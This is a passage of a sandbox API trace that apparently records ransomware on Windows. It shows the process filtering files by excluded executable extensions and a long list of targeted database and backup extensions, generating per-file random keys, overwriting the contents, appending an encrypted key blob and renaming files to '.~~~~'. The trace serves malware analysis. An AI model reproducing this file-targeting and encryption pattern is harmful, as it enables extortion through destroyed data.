	[0135.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".DB") returned 0x0
	[0135.156] lstrlenW (lpString=".sql") returned 4
	[0135.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".sql") returned 0x0
	[0135.156] lstrlenW (lpString=".MYD") returned 4
	[0135.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".MYD") returned 0x0
	[0135.157] lstrlenW (lpString=".DBT") returned 4
	[0135.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".DBT") returned 0x0
	[0135.157] lstrlenW (lpString=".ACCDB") returned 6
	[0135.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".ACCDB") returned 0x0
	[0135.157] lstrlenW (lpString=".fdb") returned 4
	[0135.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".fdb") returned 0x0
	[0135.157] lstrlenW (lpString=".bak") returned 4
	[0135.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".bak") returned 0x0
	[0135.157] lstrlenW (lpString=".myd") returned 4
	[0135.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".myd") returned 0x0
	[0135.157] lstrlenW (lpString=".DTXS") returned 5
	[0135.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".DTXS") returned 0x0
	[0135.157] lstrlenW (lpString=".ckp") returned 4
	[0135.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".ckp") returned 0x0
	[0135.157] lstrlenW (lpString=".dbt") returned 4
	[0135.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".dbt") returned 0x0
	[0135.157] lstrlenW (lpString=".db") returned 3
	[0135.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".db") returned 0x0
	[0135.157] lstrlenW (lpString=".TXT") returned 4
	[0135.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".TXT") returned 0x0
	[0135.157] lstrlenW (lpString=".MDF") returned 4
	[0135.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".MDF") returned 0x0
	[0135.157] lstrlenW (lpString=".bdb") returned 4
	[0135.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".bdb") returned 0x0
	[0135.157] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0135.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.158] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0620) returned 1
	[0135.159] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.159] CryptReleaseContext (hProv=0x3a0620, dwFlags=0x0) returned 1
	[0135.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0135.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0135.159] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25514944973) returned 1
	[0135.159] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xba00e970, dwHighDateTime=0x1d60e1e)) 
	[0135.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0135.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0135.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0135.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825010
	[0135.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825010 | out: hHeap=0x300000) returned 1
	[0135.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x399ba8
	[0135.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5248
	[0135.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399ba8 | out: hHeap=0x300000) returned 1
	[0135.160] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0135.160] GetLastError () returned 0x0
	[0135.161] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0135.161] GetLastError () returned 0x0
	[0135.163] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffffb98, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.163] WriteFile (in: hFile=0x108, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x468, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x468, lpOverlapped=0x0) returned 1
	[0135.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0135.163] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.163] WriteFile (in: hFile=0x108, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.163] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.163] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.163] CloseHandle (hObject=0x108) returned 1
	[0135.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5248
	[0135.164] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\occmpvrd.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\occmpvrd.xml.~~~~")) returned 1
	[0135.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c5248 | out: hHeap=0x300000) returned 1
	[0135.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0135.166] GetLastError () returned 0x0
	[0135.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".scr") returned 0x0
	[0135.166] lstrlenW (lpString=".cmd") returned 4
	[0135.166] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".cmd") returned 0x0
	[0135.166] lstrlenW (lpString=".dll") returned 4
	[0135.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".dll") returned 0x0
	[0135.167] lstrlenW (lpString=".bat") returned 4
	[0135.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".bat") returned 0x0
	[0135.167] lstrlenW (lpString=".cpl") returned 4
	[0135.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".cpl") returned 0x0
	[0135.167] lstrlenW (lpString=".sys") returned 4
	[0135.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".sys") returned 0x0
	[0135.167] lstrlenW (lpString=".msc") returned 4
	[0135.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".msc") returned 0x0
	[0135.167] lstrlenW (lpString=".com") returned 4
	[0135.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".com") returned 0x0
	[0135.167] lstrlenW (lpString=".lnk") returned 4
	[0135.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".lnk") returned 0x0
	[0135.167] lstrlenW (lpString=".msp") returned 4
	[0135.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".msp") returned 0x0
	[0135.167] lstrlenW (lpString=".pif") returned 4
	[0135.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".pif") returned 0x0
	[0135.167] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.167] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch="msp\r\n.pif") returned 0x0
	[0135.168] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0135.169] lstrlenW (lpString=".sqb") returned 4
	[0135.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".sqb") returned 0x0
	[0135.169] lstrlenW (lpString=".ost") returned 4
	[0135.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".ost") returned 0x0
	[0135.169] lstrlenW (lpString=".txt") returned 4
	[0135.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".txt") returned 0x0
	[0135.169] lstrlenW (lpString=".mdt") returned 4
	[0135.169] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".mdt") returned 0x0
	[0135.169] lstrlenW (lpString=".BDB") returned 4
	[0135.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".BDB") returned 0x0
	[0135.170] lstrlenW (lpString=".eql") returned 4
	[0135.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".eql") returned 0x0
	[0135.170] lstrlenW (lpString=".DBF") returned 4
	[0135.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".DBF") returned 0x0
	[0135.170] lstrlenW (lpString=".EQL") returned 4
	[0135.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".EQL") returned 0x0
	[0135.170] lstrlenW (lpString=".FDB") returned 4
	[0135.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".FDB") returned 0x0
	[0135.170] lstrlenW (lpString=".EDB") returned 4
	[0135.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".EDB") returned 0x0
	[0135.170] lstrlenW (lpString=".DACPAC") returned 7
	[0135.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".DACPAC") returned 0x0
	[0135.170] lstrlenW (lpString=".VHD") returned 4
	[0135.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".VHD") returned 0x0
	[0135.170] lstrlenW (lpString=".DBV") returned 4
	[0135.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".DBV") returned 0x0
	[0135.170] lstrlenW (lpString=".dacpac") returned 7
	[0135.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".dacpac") returned 0x0
	[0135.170] lstrlenW (lpString=".sdf") returned 4
	[0135.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".sdf") returned 0x0
	[0135.170] lstrlenW (lpString=".accdb") returned 6
	[0135.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".accdb") returned 0x0
	[0135.170] lstrlenW (lpString=".DBX") returned 4
	[0135.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".DBX") returned 0x0
	[0135.170] lstrlenW (lpString=".MDT") returned 4
	[0135.170] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".MDT") returned 0x0
	[0135.171] lstrlenW (lpString=".SQB") returned 4
	[0135.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".SQB") returned 0x0
	[0135.171] lstrlenW (lpString=".vhd") returned 4
	[0135.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".vhd") returned 0x0
	[0135.171] lstrlenW (lpString=".bac") returned 4
	[0135.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".bac") returned 0x0
	[0135.171] lstrlenW (lpString=".mdf") returned 4
	[0135.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".mdf") returned 0x0
	[0135.171] lstrlenW (lpString=".BAK") returned 4
	[0135.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".BAK") returned 0x0
	[0135.171] lstrlenW (lpString=".BAC") returned 4
	[0135.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".BAC") returned 0x0
	[0135.171] lstrlenW (lpString=".dbs") returned 4
	[0135.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".dbs") returned 0x0
	[0135.171] lstrlenW (lpString=".vhdx") returned 5
	[0135.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".vhdx") returned 0x0
	[0135.171] lstrlenW (lpString=".NDF") returned 4
	[0135.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".NDF") returned 0x0
	[0135.171] lstrlenW (lpString=".dat") returned 4
	[0135.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".dat") returned 0x0
	[0135.171] lstrlenW (lpString=".DBS") returned 4
	[0135.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".DBS") returned 0x0
	[0135.171] lstrlenW (lpString=".CKP") returned 4
	[0135.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".CKP") returned 0x0
	[0135.171] lstrlenW (lpString=".edb") returned 4
	[0135.171] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".edb") returned 0x0
	[0135.172] lstrlenW (lpString=".PST") returned 4
	[0135.172] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".PST") returned 0x0
	[0135.173] lstrlenW (lpString=".dbf") returned 4
	[0135.173] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".dbf") returned 0x0
	[0135.173] lstrlenW (lpString=".SQL") returned 4
	[0135.173] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".SQL") returned 0x0
	[0135.173] lstrlenW (lpString=".pst") returned 4
	[0135.173] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".pst") returned 0x0
	[0135.173] lstrlenW (lpString=".dbv") returned 4
	[0135.173] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".dbv") returned 0x0
	[0135.173] lstrlenW (lpString=".SDF") returned 4
	[0135.173] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".SDF") returned 0x0
	[0135.173] lstrlenW (lpString=".dtxs") returned 5
	[0135.173] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".dtxs") returned 0x0
	[0135.173] lstrlenW (lpString=".db3") returned 4
	[0135.173] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".db3") returned 0x0
	[0135.173] lstrlenW (lpString=".OST") returned 4
	[0135.173] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".OST") returned 0x0
	[0135.173] lstrlenW (lpString=".dbx") returned 4
	[0135.173] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".dbx") returned 0x0
	[0135.173] lstrlenW (lpString=".DB3") returned 4
	[0135.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".DB3") returned 0x0
	[0135.174] lstrlenW (lpString=".DAT") returned 4
	[0135.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".DAT") returned 0x0
	[0135.174] lstrlenW (lpString=".VHDX") returned 5
	[0135.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".VHDX") returned 0x0
	[0135.174] lstrlenW (lpString=".ndf") returned 4
	[0135.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".ndf") returned 0x0
	[0135.174] lstrlenW (lpString=".DB") returned 3
	[0135.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".DB") returned 0x0
	[0135.174] lstrlenW (lpString=".sql") returned 4
	[0135.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".sql") returned 0x0
	[0135.174] lstrlenW (lpString=".MYD") returned 4
	[0135.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".MYD") returned 0x0
	[0135.174] lstrlenW (lpString=".DBT") returned 4
	[0135.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".DBT") returned 0x0
	[0135.174] lstrlenW (lpString=".ACCDB") returned 6
	[0135.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".ACCDB") returned 0x0
	[0135.174] lstrlenW (lpString=".fdb") returned 4
	[0135.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".fdb") returned 0x0
	[0135.174] lstrlenW (lpString=".bak") returned 4
	[0135.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".bak") returned 0x0
	[0135.174] lstrlenW (lpString=".myd") returned 4
	[0135.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".myd") returned 0x0
	[0135.174] lstrlenW (lpString=".DTXS") returned 5
	[0135.174] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".DTXS") returned 0x0
	[0135.174] lstrlenW (lpString=".ckp") returned 4
	[0135.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".ckp") returned 0x0
	[0135.175] lstrlenW (lpString=".dbt") returned 4
	[0135.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".dbt") returned 0x0
	[0135.175] lstrlenW (lpString=".db") returned 3
	[0135.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".db") returned 0x0
	[0135.175] lstrlenW (lpString=".TXT") returned 4
	[0135.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".TXT") returned 0x0
	[0135.175] lstrlenW (lpString=".MDF") returned 4
	[0135.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".MDF") returned 0x0
	[0135.175] lstrlenW (lpString=".bdb") returned 4
	[0135.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".bdb") returned 0x0
	[0135.175] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.175] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0135.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.175] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0d08) returned 1
	[0135.176] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.176] CryptReleaseContext (hProv=0x3a0d08, dwFlags=0x0) returned 1
	[0135.176] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0135.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0135.177] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25516676344) returned 1
	[0135.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xba034ad0, dwHighDateTime=0x1d60e1e)) 
	[0135.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0135.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0135.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0135.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825048
	[0135.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825048 | out: hHeap=0x300000) returned 1
	[0135.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x399ba8
	[0135.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c48c8
	[0135.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399ba8 | out: hHeap=0x300000) returned 1
	[0135.177] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0135.178] GetLastError () returned 0x0
	[0135.178] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0135.178] GetLastError () returned 0x0
	[0135.313] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.313] WriteFile (in: hFile=0x108, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
